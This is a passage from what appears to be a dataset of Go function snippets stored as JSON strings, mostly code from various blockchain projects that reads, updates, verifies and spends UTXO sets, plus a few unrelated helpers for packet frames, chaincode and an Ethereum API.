reader and then\n\t// pass it off to a worker to deserialize, calculate the ECMH hash, and save\n\t// to the UTXO cache.\n\tfor {\n\t\t// Read the first 52 bytes of the utxo\n\t\tn, err = file.Read(buf52)\n\t\tif err == io.EOF { // We've hit the end\n\t\t\tbreak\n\t\t} else if err != nil {\n\t\t\tlog.Errorf(\"Error reading UTXO set: %s\", err.Error())\n\t\t\treturn err\n\t\t}\n\t\ttotalRead += n\n\n\t\t// The last four bytes that we read is the length of the script\n\t\tscriptLen = binary.LittleEndian.Uint32(buf52[48:])\n\t\tif scriptLen > maxScriptLen {\n\t\t\tlog.Error(\"Read invalid UTXO script length\", totalRead)\n\t\t\treturn errors.New(\"invalid script length\")\n\t\t}\n\n\t\t// Read the script\n\t\tpkScript = make([]byte, scriptLen)\n\t\tn, err = file.Read(pkScript)\n\t\tif err != nil {\n\t\t\tlog.Errorf(\"Error reading UTXO set: %s\", err.Error())\n\t\t\treturn err\n\t\t}\n\t\ttotalRead += n\n\n\t\tserializedUtxo = make([]byte, 52+scriptLen)\n\t\tserializedUtxo = append(buf52, pkScript...)\n\n\t\tjobsChan <- serializedUtxo\n\t}\n\tclose(jobsChan)\n\n\t// Read each result and add the returned hash to the\n\t// existing multiset.\n\tm := bchec.NewMultiset(bchec.S256())\n\tfor i := 0; i < numWorkers; i++ {\n\t\tresult := <-resultsChan\n\t\tif result.err != nil {\n\t\t\tlog.Errorf(\"Error processing UTXO set: %s\", err.Error())\n\t\t\treturn err\n\t\t}\n\t\tm.Merge(result.m)\n\t}\n\tclose(resultsChan)\n\n\tif err = b.utxoCache.Flush(FlushRequired, &BestState{Hash: *checkpoint.Hash}); err != nil {\n\t\tlog.Errorf(\"Error processing UTXO set: %s\", err.Error())\n\t\treturn err\n\t}\n\n\tif err = b.index.flushToDB(); err != nil {\n\t\tlog.Errorf(\"Error processing UTXO set: %s\", err.Error())\n\t\treturn err\n\t}\n\n\tutxoHash := m.Hash()\n\n\t// Make sure the hash of the UTXO set we downloaded matches the expected hash.\n\tif !checkpoint.UtxoSetHash.IsEqual(&utxoHash) {\n\t\tlog.Errorf(\"Downloaded UTXO set hash does not match checkpoint.\"+\n\t\t\t\" Expected %s, got %s.\", checkpoint.UtxoSetHash.String(), m.Hash().String())\n\t\treturn AssertError(\"downloaded invalid UTXO set\")\n\t}\n\n\tlog.Infof(\"Verification complete. UTXO hash %s.\", m.Hash().String())\n\n\t// Signal fastsync complete\n\tclose(b.fastSyncDone)\n\n\treturn nil\n}", "func (u *UTXOSet) Update(block *Block) {\n\tdb := u.BlockChain.Database\n\n\terr := db.Update(func(txn *badger.Txn) error {\n\t\tfor _, tx := range block.Transactions { // iterate through all transactions in this block\n\t\t\tif tx.IsCoinbase() == false {\n\t\t\t\tfor _, in := range tx.Inputs { // iterate all inputs in this transaction\n\t\t\t\t\t// contains updated UTXO's which have not been used as inputs\n\t\t\t\t\tupdatedOuts := TxOutputs{}\n\t\t\t\t\t// create key for transaction ID that this input's previous output was inside of: utxo-(transaction-id)\n\t\t\t\t\tinID := append(utxoPrefix, in.ID...)\n\t\t\t\t\t// this transaction contains an array of UTXOs (outputs which have not been spent yet)\n\t\t\t\t\titem, err := txn.Get(inID)\n\t\t\t\t\tHandle(err)\n\t\t\t\t\tv, err := item.Value()\n\t\t\t\t\tHandle(err)\n\n\t\t\t\t\t// converts bytes back into array of outputs\n\t\t\t\t\touts := DeserializeOutputs(v)\n\n\t\t\t\t\tfor outIdx, out := range outs.Outputs {\n\t\t\t\t\t\t// we want to remove any new input's previous output from the list of UTXO's\n\t\t\t\t\t\t// stored in this transaction, since that output has now become an input and is not a UTXO anymore.\n\t\t\t\t\t\t// only add outputs that do not reference this input to the new empty UTXO array\n\t\t\t\t\t\tif outIdx != in.Out {\n\t\t\t\t\t\t\tupdatedOuts.Outputs = append(updatedOuts.Outputs, out)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// delete the key if this transaction no longer has any UTXOs\n\t\t\t\t\tif len(updatedOuts.Outputs) == 0 {\n\t\t\t\t\t\tif err := txn.Delete(inID); err != nil {\n\t\t\t\t\t\t\tlog.Panic(err)\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// otherwise, serialize the new updated UTXO list and store in the transaction ID key\n\t\t\t\t\t\tif err := txn.Set(inID, updatedOuts.Serialize()); err != nil {\n\t\t\t\t\t\t\tlog.Panic(err)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t// all outputs in this transaction end up becoming new UTXOs so we add them to the array and store them in DB. this logic below also handles coinbase transactions with no inputs.\n\t\t\t// the next transaction iteration will check inputs and could potentially remove some of these UTXOs added here\n\t\t\t// this works because the Update() function is being called in order, sequentially, from the very first block up until the very last??\n\t\t\t// calling this on 1 random block only could mess up the chain since it overrides the UTXOs??? you'd have to keep calling Update() up until the very last block??\n\t\t\tnewOutputs := TxOutputs{}\n\t\t\tfor _, out := range tx.Outputs {\n\t\t\t\tnewOutputs.Outputs = append(newOutputs.Outputs, out)\n\t\t\t}\n\t\t\ttxID := append(utxoPrefix, tx.ID...)\n\t\t\tif err := txn.Set(txID, newOutputs.Serialize()); err != nil {\n\t\t\t\tlog.Panic(err)\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t})\n\tHandle(err)\n}", "func UBlockToStxos(ublock *btcutil.UBlock, stxos *[]SpentTxOut) error {\n\t// First, add all the referenced inputs\n\tfor _, ustxo := range ublock.UData().Stxos {\n\t\tstxo := SpentTxOut{\n\t\t\tAmount: ustxo.Amt,\n\t\t\tPkScript: ustxo.PkScript,\n\t\t\tHeight: ustxo.Height,\n\t\t\tIsCoinBase: ustxo.Coinbase,\n\t\t}\n\t\t*stxos = append(*stxos, stxo)\n\t}\n\n\t// grab all sstxo indexes for all the same block spends\n\t// Since the udata excludes any same block spends, this step is necessary\n\t_, outskip := ublock.Block().DedupeBlock()\n\n\t// Go through all the transactions and find the same block spends\n\t// Add the txOuts of these spends to stxos\n\tvar txonum uint32\n\tfor coinbaseif0, tx := range ublock.Block().MsgBlock().Transactions {\n\t\tfor _, txOut := range tx.TxOut {\n\t\t\t// Skip all the OP_RETURNs\n\t\t\tif isUnspendable(txOut) {\n\t\t\t\ttxonum++\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// Skip txos on the skip list\n\t\t\tif len(outskip) > 0 && outskip[0] == txonum {\n\t\t\t\t//fmt.Println(\"ADD:\", txonum)\n\t\t\t\tstxo := SpentTxOut{\n\t\t\t\t\tAmount: txOut.Value,\n\t\t\t\t\tPkScript: txOut.PkScript,\n\t\t\t\t\tHeight: ublock.Block().Height(),\n\t\t\t\t\tIsCoinBase: coinbaseif0 == 0,\n\t\t\t\t}\n\t\t\t\t*stxos = append(*stxos, stxo)\n\t\t\t\toutskip = outskip[1:]\n\t\t\t\ttxonum++\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\ttxonum++\n\t\t}\n\t}\n\n\treturn nil\n}", "func GetUtxos(se Servicer) httprouter.Handle {\n\treturn func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tvar rlt *pp.EmptyRes\n\t\tfor {\n\t\t\tcp := r.FormValue(\"coin_type\")\n\t\t\tif cp == \"\" {\n\t\t\t\tlogger.Error(\"coin type empty\")\n\t\t\t\trlt = pp.MakeErrRes(errors.New(\"coin type empty\"))\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\taddrs := r.FormValue(\"addrs\")\n\t\t\tif addrs == \"\" {\n\t\t\t\tlogger.Error(\"addrs empty\")\n\t\t\t\trlt = pp.MakeErrRes(errors.New(\"addrs empty\"))\n\t\t\t\tbreak\n\t\t\t}\n\t\t\taddrArray := strings.Split(addrs, \",\")\n\t\t\tfor i, addr := range addrArray {\n\t\t\t\taddrArray[i] = strings.Trim(addr, \" \")\n\t\t\t}\n\n\t\t\treq := pp.GetUtxoReq{\n\t\t\t\tCoinType: pp.PtrString(cp),\n\t\t\t\tAddresses: addrArray,\n\t\t\t}\n\n\t\t\tvar res pp.GetUtxoRes\n\t\t\tif err := sknet.EncryGet(se.GetServAddr(), \"/get/utxos\", req, &res); err != nil {\n\t\t\t\tlogger.Error(err.Error())\n\t\t\t\trlt = pp.MakeErrResWithCode(pp.ErrCode_ServerError)\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tsendJSON(w, res)\n\t\t\treturn\n\t\t}\n\t\tsendJSON(w, rlt)\n\t}\n}", "func (ac *AddressCache) UTXOs(addr string) ([]*dbtypes.AddressTxnOutput, *BlockID) {\n\taci := ac.addressCacheItem(addr)\n\tif aci == nil {\n\t\tac.cacheMetrics.utxoMiss()\n\t\treturn nil, nil\n\t}\n\tac.cacheMetrics.utxoHit()\n\treturn aci.UTXOs()\n}", "func newUtxoNursery(db *channeldb.DB, notifier chainntnfs.ChainNotifier,\n\twallet *lnwallet.LightningWallet) *utxoNursery {\n\n\treturn &utxoNursery{\n\t\tnotifier: notifier,\n\t\twallet: wallet,\n\t\trequests: make(chan *incubationRequest),\n\t\tdb: db,\n\t\tquit: make(chan struct{}),\n\t}\n}", "func CreateUnspents(bh BlockHeader, txn Transaction) UxArray {\n\tvar h cipher.SHA256\n\t// The genesis block uses the null hash as the SrcTransaction [FIXME hardfork]\n\tif bh.BkSeq != 0 {\n\t\th = txn.Hash()\n\t}\n\tuxo := make(UxArray, len(txn.Out))\n\tfor i := range txn.Out {\n\t\tuxo[i] = UxOut{\n\t\t\tHead: UxHead{\n\t\t\t\tTime: bh.Time,\n\t\t\t\tBkSeq: bh.BkSeq,\n\t\t\t},\n\t\t\tBody: UxBody{\n\t\t\t\tSrcTransaction: h,\n\t\t\t\tAddress: txn.Out[i].Address,\n\t\t\t\tCoins: txn.Out[i].Coins,\n\t\t\t\tHours: txn.Out[i].Hours,\n\t\t\t},\n\t\t}\n\t}\n\treturn uxo\n}", "func (u UTXOSet) FindUTXO(pubKeyHash []byte) []TXOutput {\n\tvar UTXOs []TXOutput\n\tdb := u.Blockchain.db\n\n\terr := db.View(func(tx *bolt.Tx) error {\n\t\tb := tx.Bucket([]byte(storage.BoltUTXOBucket))\n\t\tif b == nil{\n\t\t\treturn nil\n\t\t}\n\t\tc := b.Cursor()\n\n\t\tfor k, v := c.First(); k != nil; k, v = c.Next() {\n\t\t\touts := DeserializeOutputs(v)\n\n\t\t\tfor _, out := range outs {\n\t\t\t\tif out.IsLockedWithKey(pubKeyHash) {\n\t\t\t\t\tUTXOs = append(UTXOs, out)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\tlog.Panic(err)\n\t}\n\n\treturn UTXOs\n}", "func (d *AddressCacheItem) SetUTXOs(block BlockID, utxos []*dbtypes.AddressTxnOutput) {\n\td.mtx.Lock()\n\tdefer d.mtx.Unlock()\n\td.setBlock(block)\n\td.utxos = utxos\n}", "func GenerateOnuSystemInfo(PkgType string) gopacket.SerializableLayer {\n\n\tif PkgType == OnuPkgTypeA {\n\t\t//TypeA\n\t\tdata := &TibitFrame{\n\t\t\tData: []byte{\n\t\t\t\t0x03, 0x00, 0x50, 0xfe, 0x00, 0x10, 0x00, 0x01,\n\t\t\t\t0xd7, 0x00, 0x06, 0x00, 0x00,\n\t\t\t},\n\t\t}\n\n\t\treturn data\n\t} else if PkgType == OnuPkgTypeB {\n\t\t//TypeB\n\t\tdata := &TibitFrame{\n\t\t\tData: []byte{\n\t\t\t\t0x03, 0x00, 0x50, 0xfe, 0x90, 0x82, 0x60, 0x00,\n\t\t\t\t0xca, 0xfe, 0x00, 0xb7, 0x00, 0x40, 0x00, 0x00,\n\t\t\t},\n\t\t}\n\n\t\treturn data\n\t}\n\n\treturn nil\n}", "func (tc *testContext) extractFundingInput() (*Utxo, *wire.TxOut, error) {\n\texpectedTxHashHex := \"fd2105607605d2302994ffea703b09f66b6351816ee737a93e42a841ea20bbad\"\n\texpectedTxHash, err := chainhash.NewHashFromStr(expectedTxHashHex)\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"Failed to parse transaction hash: %v\", err)\n\t}\n\n\ttx, err := tc.block1.Tx(0)\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"Failed to get coinbase transaction from \"+\n\t\t\t\"block 1: %v\", err)\n\t}\n\ttxout := tx.MsgTx().TxOut[0]\n\n\tvar expectedAmount int64 = 5000000000\n\tif txout.Value != expectedAmount {\n\t\treturn nil, nil, fmt.Errorf(\"Coinbase transaction output amount from \"+\n\t\t\t\"block 1 does not match expected output amount: \"+\n\t\t\t\"expected %v, got %v\", expectedAmount, txout.Value)\n\t}\n\tif !tx.Hash().IsEqual(expectedTxHash) {\n\t\treturn nil, nil, fmt.Errorf(\"Coinbase transaction hash from block 1 \"+\n\t\t\t\"does not match expected hash: expected %v, got %v\", expectedTxHash,\n\t\t\ttx.Hash())\n\t}\n\n\tblock1Utxo := Utxo{\n\t\tAddressType: WitnessPubKey,\n\t\tValue: btcutil.Amount(txout.Value),\n\t\tOutPoint: wire.OutPoint{\n\t\t\tHash: *tx.Hash(),\n\t\t\tIndex: 0,\n\t\t},\n\t\tPkScript: txout.PkScript,\n\t}\n\treturn &block1Utxo, txout, nil\n}", "func SetupDataBlock(block *DataBlock) {\n\n\tblock.atmi_chan = make(chan *atmi.TypedUBF, 10)\n}", "func (btc *ExchangeWallet) spendableUTXOs(confs uint32) ([]*compositeUTXO, map[string]*compositeUTXO, uint64, error) {\n\tunspents, err := btc.wallet.ListUnspent()\n\tif err != nil {\n\t\treturn nil, nil, 0, err\n\t}\n\tsort.Slice(unspents, func(i, j int) bool { return unspents[i].Amount < unspents[j].Amount })\n\tvar sum uint64\n\tutxos := make([]*compositeUTXO, 0, len(unspents))\n\tutxoMap := make(map[string]*compositeUTXO, len(unspents))\n\tfor _, txout := range unspents {\n\t\tif txout.Confirmations >= confs && txout.Safe {\n\t\t\tnfo, err := dexbtc.InputInfo(txout.ScriptPubKey, txout.RedeemScript, btc.chainParams)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, nil, 0, fmt.Errorf(\"error reading asset info: %v\", err)\n\t\t\t}\n\t\t\ttxHash, err := chainhash.NewHashFromStr(txout.TxID)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, nil, 0, fmt.Errorf(\"error decoding txid in ListUnspentResult: %v\", err)\n\t\t\t}\n\t\t\tutxo := &compositeUTXO{\n\t\t\t\ttxHash: txHash,\n\t\t\t\tvout: txout.Vout,\n\t\t\t\taddress: txout.Address,\n\t\t\t\tredeemScript: txout.RedeemScript,\n\t\t\t\tamount: toSatoshi(txout.Amount),\n\t\t\t\tinput: nfo,\n\t\t\t}\n\t\t\tutxos = append(utxos, utxo)\n\t\t\tutxoMap[outpointID(txout.TxID, txout.Vout)] = utxo\n\t\t\tsum += toSatoshi(txout.Amount)\n\t\t}\n\t}\n\treturn utxos, utxoMap, sum, nil\n}", "func genUData(delLeaves []util.LeafData, f *accumulator.Forest, height int32) (\n\tud util.UData, err error) {\n\n\tud.UtxoData = delLeaves\n\t// make slice of hashes from leafdata\n\tdelHashes := make([]accumulator.Hash, len(ud.UtxoData))\n\tfor i, _ := range ud.UtxoData {\n\t\tdelHashes[i] = ud.UtxoData[i].LeafHash()\n\t\t// fmt.Printf(\"del %s -> %x\\n\",\n\t\t// ud.UtxoData[i].Outpoint.String(), delHashes[i][:4])\n\t}\n\t// generate block proof. Errors if the tx cannot be proven\n\t// Should never error out with genproofs as it takes\n\t// blk*.dat files which have already been vetted by Bitcoin Core\n\tud.AccProof, err = f.ProveBatch(delHashes)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"genUData failed at block %d %s %s\",\n\t\t\theight, f.Stats(), err.Error())\n\t\treturn\n\t}\n\n\tif len(ud.AccProof.Targets) != len(delLeaves) {\n\t\terr = fmt.Errorf(\"genUData %d targets but %d leafData\",\n\t\t\tlen(ud.AccProof.Targets), len(delLeaves))\n\t\treturn\n\t}\n\n\t// fmt.Printf(batchProof.ToString())\n\t// Optional Sanity check. Should never fail.\n\n\t// unsort := make([]uint64, len(ud.AccProof.Targets))\n\t// copy(unsort, ud.AccProof.Targets)\n\t// ud.AccProof.SortTargets()\n\t// ok := f.VerifyBatchProof(ud.AccProof)\n\t// if !ok {\n\t// \treturn ud, fmt.Errorf(\"VerifyBatchProof failed at block %d\", height)\n\t// }\n\t// ud.AccProof.Targets = unsort\n\n\t// also optional, no reason to do this other than bug checking\n\n\t// if !ud.Verify(f.ReconstructStats()) {\n\t// \terr = fmt.Errorf(\"height %d LeafData / Proof mismatch\", height)\n\t// \treturn\n\t// }\n\treturn\n}", "func (l *LedgerState) SnapshotUTXO() (snapshot *ledgerstate.Snapshot) {\n\t// The following parameter should be larger than the max allowed timestamp variation, and the required time for confirmation.\n\t// We can snapshot this far in the past, since global snapshots dont occur frequent and it is ok to ignore the last few minutes.\n\tminAge := 120 * time.Second\n\tsnapshot = &ledgerstate.Snapshot{\n\t\tTransactions: make(map[ledgerstate.TransactionID]ledgerstate.Record),\n\t}\n\n\tstartSnapshot := time.Now()\n\tcopyLedgerState := l.Transactions() // consider that this may take quite some time\n\n\tfor _, transaction := range copyLedgerState {\n\t\t// skip unconfirmed transactions\n\t\tinclusionState, err := l.TransactionInclusionState(transaction.ID())\n\t\tif err != nil || inclusionState != ledgerstate.Confirmed {\n\t\t\tcontinue\n\t\t}\n\t\t// skip transactions that are too recent before startSnapshot\n\t\tif startSnapshot.Sub(transaction.Essence().Timestamp()) < minAge {\n\t\t\tcontinue\n\t\t}\n\t\tunspentOutputs := make([]bool, len(transaction.Essence().Outputs()))\n\t\tincludeTransaction := false\n\t\tfor i, output := range transaction.Essence().Outputs() {\n\t\t\tl.CachedOutputMetadata(output.ID()).Consume(func(outputMetadata *ledgerstate.OutputMetadata) {\n\t\t\t\tif outputMetadata.ConfirmedConsumer() == ledgerstate.GenesisTransactionID { // no consumer yet\n\t\t\t\t\tunspentOutputs[i] = true\n\t\t\t\t\tincludeTransaction = true\n\t\t\t\t} else {\n\t\t\t\t\ttx := copyLedgerState[outputMetadata.ConfirmedConsumer()]\n\t\t\t\t\t// ignore consumers that are not confirmed long enough or even in the future.\n\t\t\t\t\tif startSnapshot.Sub(tx.Essence().Timestamp()) < minAge {\n\t\t\t\t\t\tunspentOutputs[i] = true\n\t\t\t\t\t\tincludeTransaction = true\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t})\n\t\t}\n\t\t// include only transactions with at least one unspent output\n\t\tif includeTransaction {\n\t\t\tsnapshot.Transactions[transaction.ID()] = ledgerstate.Record{\n\t\t\t\tEssence: transaction.Essence(),\n\t\t\t\tUnlockBlocks: transaction.UnlockBlocks(),\n\t\t\t\tUnspentOutputs: unspentOutputs,\n\t\t\t}\n\t\t}\n\t}\n\n\t// TODO ??? due to possible race conditions we could add a check for the consistency of the UTXO snapshot\n\n\treturn snapshot\n}", "func getNewUFADetails(stub shim.ChaincodeStubInterface, args []string) ([]byte, error) {\r\n\tlogger.Info(\"getUFADetails called with UFA number: \" + args[0])\r\n\tvar ufa map[string]string\r\n\t// outputRecord:= UFADetails{}\r\n\tufanumber := args[0] //UFA ufanum\r\n\t//who :=args[1] //Role\r\n\trecBytes, _ := stub.GetState(ufanumber)\r\n\tjson.Unmarshal(recBytes, &ufa)\r\n\r\n\tlineIds := ufa[\"lineItemsId\"]\r\n\tvar newData []map[string]string\r\n\tjson.Unmarshal([]byte(lineIds), &newData)\r\n\r\n\tfmt.Println(\"line id are:\" + lineIds)\r\n\tvar lineItems []map[string]string\r\n\r\n\tfor _, id := range newData {\r\n\t\tvar dataLine map[string]string = id\r\n\t\tfor key, value := range dataLine {\r\n\t\t\tif key == \"chargeLineId\" {\r\n\t\t\t\tu := make(map[string]string)\r\n\t\t\t\trecBytes, _ := stub.GetState(value)\r\n\t\t\t\tfmt.Println(\"inside getLineItem id is:\" + (value))\r\n\t\t\t\tjson.Unmarshal(recBytes, &u)\r\n\t\t\t\tfmt.Println(u)\r\n\t\t\t\tlineItems = append(lineItems, u)\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tsrc_newId, _ := json.Marshal(lineItems)\r\n\r\n\tufa[\"lineItems\"] = ((string)(src_newId))\r\n\r\n\t//fmt.Println(\"inside object: \"+outputRecord.LineItems[0].BuyerTypeOfCharge)\r\n\toutputBytes, _ := json.Marshal(ufa)\r\n\tlogger.Info(\"Returning records from getUFADetails \" + string(outputBytes))\r\n\treturn outputBytes, nil\r\n}", "func (api *PublicEthereumAPI) GetUncleByBlockHashAndIndex(hash common.Hash, idx hexutil.Uint) map[string]interface{} {\n\treturn nil\n}", "func (mp *TxPool) fetchInputUtxos(tx *btcutil.Tx) (*blockchain.UtxoViewpoint, error) {\n\tutxoView, err := mp.cfg.FetchUtxoView(tx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Attempt to populate any missing inputs from the transaction pool.\n\tfor _, txIn := range tx.MsgTx().TxIn {\n\t\tprevOut := &txIn.PreviousOutPoint\n\t\tentry := utxoView.LookupEntry(*prevOut)\n\t\tif entry != nil && !entry.IsSpent() {\n\t\t\tcontinue\n\t\t}\n\n\t\tif poolTxDesc, exists := mp.pool[prevOut.Hash]; exists {\n\t\t\t// AddTxOut ignores out of range index values, so it is\n\t\t\t// safe to call without bounds checking here.\n\t\t\tutxoView.AddTxOut(poolTxDesc.Tx, prevOut.Index,\n\t\t\t\tmining.UnminedHeight)\n\t\t}\n\t}\n\n\treturn utxoView, nil\n}", "func CreateUnspent(bh BlockHeader, txn Transaction, outIndex int) (UxOut, error) {\n\tif outIndex < 0 || outIndex >= len(txn.Out) {\n\t\treturn UxOut{}, fmt.Errorf(\"Transaction out index overflows transaction outputs\")\n\t}\n\n\tvar h cipher.SHA256\n\t// The genesis block uses the null hash as the SrcTransaction [FIXME hardfork]\n\tif bh.BkSeq != 0 {\n\t\th = txn.Hash()\n\t}\n\n\treturn UxOut{\n\t\tHead: UxHead{\n\t\t\tTime: bh.Time,\n\t\t\tBkSeq: bh.BkSeq,\n\t\t},\n\t\tBody: UxBody{\n\t\t\tSrcTransaction: h,\n\t\t\tAddress: txn.Out[outIndex].Address,\n\t\t\tCoins: txn.Out[outIndex].Coins,\n\t\t\tHours: txn.Out[outIndex].Hours,\n\t\t},\n\t}, nil\n}", "func (u *UTXOSet) Update(block *Block) {\n\tdb := u.Blockchain.Database\n\n\terr := db.Update(func(txn *badger.Txn) error {\n\t\t// iterate through each transaction\n\t\tfor _, tx := range block.Transactions {\n\t\t\tif !tx.IsCoinbase() {\n\t\t\t\t// iterate through each input\n\t\t\t\tfor _, in := range tx.Inputs {\n\t\t\t\t\t// create an output for each input\n\t\t\t\t\tupdatedOuts := TxOutputs{}\n\t\t\t\t\t// take the id of the input and add the prefix to it\n\t\t\t\t\tinID := append(utxoPrefix, in.ID...)\n\t\t\t\t\t// get the value of the input from the db\n\t\t\t\t\titem, err := txn.Get(inID)\n\t\t\t\t\thandle(err)\n\t\t\t\t\tv := valueHash(item)\n\n\t\t\t\t\t// deserialixe the output value\n\t\t\t\t\touts := DeserializeOutputs(v)\n\n\t\t\t\t\t// iterate through each output\n\t\t\t\t\tfor outIdx, out := range outs.Outputs {\n\t\t\t\t\t\t// if the output is not attached to the input then we know it is unspent.. add it to the updated outputs\n\t\t\t\t\t\tif outIdx != in.Out {\n\t\t\t\t\t\t\tupdatedOuts.Outputs = append(updatedOuts.Outputs, out)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif len(updatedOuts.Outputs) == 0 {\n\t\t\t\t\t\t// if there are no unspent outputs, then get rid of the utxo transaction ids\n\t\t\t\t\t\tif err := txn.Delete(inID); err != nil {\n\t\t\t\t\t\t\tlog.Panic(err)\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// save the unspent outputs with the utxo prefixed transaction id\n\t\t\t\t\t\tif err := txn.Set(inID, updatedOuts.Serialize()); err != nil {\n\t\t\t\t\t\t\tlog.Panic(err)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// account for coinbase transactions in the block, they will always be unspent\n\t\t\tnewOutputs := TxOutputs{}\n\t\t\tfor _, out := range tx.Outputs {\n\t\t\t\tnewOutputs.Outputs = append(newOutputs.Outputs, out)\n\t\t\t}\n\n\t\t\ttxID := append(utxoPrefix, tx.ID...)\n\t\t\tif err := txn.Set(txID, newOutputs.Serialize()); err != nil {\n\t\t\t\tlog.Panic(err)\n\t\t\t}\n\t\t}\n\n\t\treturn nil\n\t})\n\thandle(err)\n}", "func GetBlock(x uint64) block.Block{\r\n\t\tvar block1 block.MinBlock\r\n\t\tvar block2 block.Block\r\n\t\tblock1.BlockNumber = x\r\n\t\tblock1.ChainYear = ChainYear\r\n\t\tfmt.Println(\"ChainYear\", block1.ChainYear)\r\n\t\tdata, err:= json.Marshal(block1)\r\n\t\tif err !=nil{\r\n\t\t\tfmt.Println(\"Error Reading Block\", err)\r\n\t\t}\r\n\t\tfmt.Println(\"Block as Json\", data)\r\n\t\ttheNodes := GetNodes(block1.BlockHash())\r\n\t\t\r\n\t\tcall := \"getBlock\"\r\n\t\t\r\n\t\tfor x:=0; x < len(theNodes); x +=1{\r\n\t\t\t\t\r\n\t\t\turl1 := \"http://\"+ MyNode.Ip+ MyNode.Port+\"/\"+ call\r\n\t\t\tfmt.Println(\"url:\", url1)\r\n\t\t\t resp, err := http.Post(url1, \"application/json\", bytes.NewBuffer(data))\r\n\r\n\t\t\tif err != nil {\r\n\t\t\t\tfmt.Println(\"Error connectig to node trying next node \", err)\r\n\t\t\t}else{\r\n\t\t\t\tfmt.Println(\"Block as Json\", data)\r\n\t\t\t\tjson.NewDecoder(resp.Body).Decode(&block2)\r\n\t\t\t\treturn block2\r\n\t\t\t}\r\n\t\t}\r\nreturn block2\r\n\t\t\r\n\t\t\r\n}", "func NewUTXODiff() model.UTXODiff {\n\treturn newUTXODiff()\n}", "func (a *ChainAdaptor) CreateUtxoTransaction(req *proto.CreateUtxoTransactionRequest) (*proto.CreateUtxoTransactionReply, error) {\n\tvinNum := len(req.Vins)\n\tvar totalAmountIn, totalAmountOut int64\n\n\tif vinNum == 0 {\n\t\terr := fmt.Errorf(\"no Vin in req:%v\", req)\n\t\treturn &proto.CreateUtxoTransactionReply{\n\t\t\tCode: proto.ReturnCode_ERROR,\n\t\t\tMsg: err.Error(),\n\t\t}, err\n\t}\n\n\t// check the Fee\n\tfee, ok := big.NewInt(0).SetString(req.Fee, 0)\n\tif !ok {\n\t\terr := errors.New(\"CreateTransaction, fail to get fee\")\n\t\treturn &proto.CreateUtxoTransactionReply{\n\t\t\tCode: proto.ReturnCode_ERROR,\n\t\t\tMsg: err.Error(),\n\t\t}, err\n\t}\n\tfor _, in := range req.Vins {\n\t\ttotalAmountIn += in.Amount\n\t}\n\n\tfor _, out := range req.Vouts {\n\t\ttotalAmountOut += out.Amount\n\t}\n\n\tif totalAmountIn != totalAmountOut+fee.Int64() {\n\t\terr := errors.New(\"CreateTransaction, total amount in != total amount out + fee\")\n\t\treturn &proto.CreateUtxoTransactionReply{\n\t\t\tCode: proto.ReturnCode_ERROR,\n\t\t\tMsg: err.Error(),\n\t\t}, err\n\t}\n\n\trawTx, err := a.createRawTx(req.Vins, req.Vouts)\n\tif err != nil {\n\t\treturn &proto.CreateUtxoTransactionReply{\n\t\t\tCode: proto.ReturnCode_ERROR,\n\t\t\tMsg: err.Error(),\n\t\t}, err\n\t}\n\n\tbuf := bytes.NewBuffer(make([]byte, 0, rawTx.SerializeSize()))\n\terr = rawTx.Serialize(buf)\n\tif err != nil {\n\t\treturn &proto.CreateUtxoTransactionReply{\n\t\t\tCode: proto.ReturnCode_ERROR,\n\t\t\tMsg: err.Error(),\n\t\t}, err\n\t}\n\n\t// build the pkScript and Generate signhash for each Vin,\n\tsignHashes, err := a.calcSignHashes(req.Vins, req.Vouts)\n\tif err != nil {\n\t\treturn &proto.CreateUtxoTransactionReply{\n\t\t\tCode: proto.ReturnCode_ERROR,\n\t\t\tMsg: err.Error(),\n\t\t}, err\n\t}\n\tlog.Info(\"CreateTransaction\", \"usigned tx\", hex.EncodeToString(buf.Bytes()))\n\n\treturn &proto.CreateUtxoTransactionReply{\n\t\tCode: proto.ReturnCode_SUCCESS,\n\t\tTxData: buf.Bytes(),\n\t\tSignHashes: signHashes,\n\t}, nil\n}", "func (dcr *ExchangeWallet) parseUTXOs(unspents []*walletjson.ListUnspentResult) ([]*compositeUTXO, error) {\n\tutxos := make([]*compositeUTXO, 0, len(unspents))\n\tfor _, utxo := range unspents {\n\t\tif !utxo.Spendable {\n\t\t\tcontinue\n\t\t}\n\t\tscriptPK, err := hex.DecodeString(utxo.ScriptPubKey)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error decoding pubkey script for %s, script = %s: %w\", utxo.TxID, utxo.ScriptPubKey, err)\n\t\t}\n\t\tredeemScript, err := hex.DecodeString(utxo.RedeemScript)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error decoding redeem script for %s, script = %s: %w\", utxo.TxID, utxo.RedeemScript, err)\n\t\t}\n\n\t\t// NOTE: listunspent does not indicate script version, so for the\n\t\t// purposes of our funding coins, we are going to assume 0.\n\t\tnfo, err := dexdcr.InputInfo(0, scriptPK, redeemScript, dcr.chainParams)\n\t\tif err != nil {\n\t\t\tif errors.Is(err, dex.UnsupportedScriptError) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\treturn nil, fmt.Errorf(\"error reading asset info: %w\", 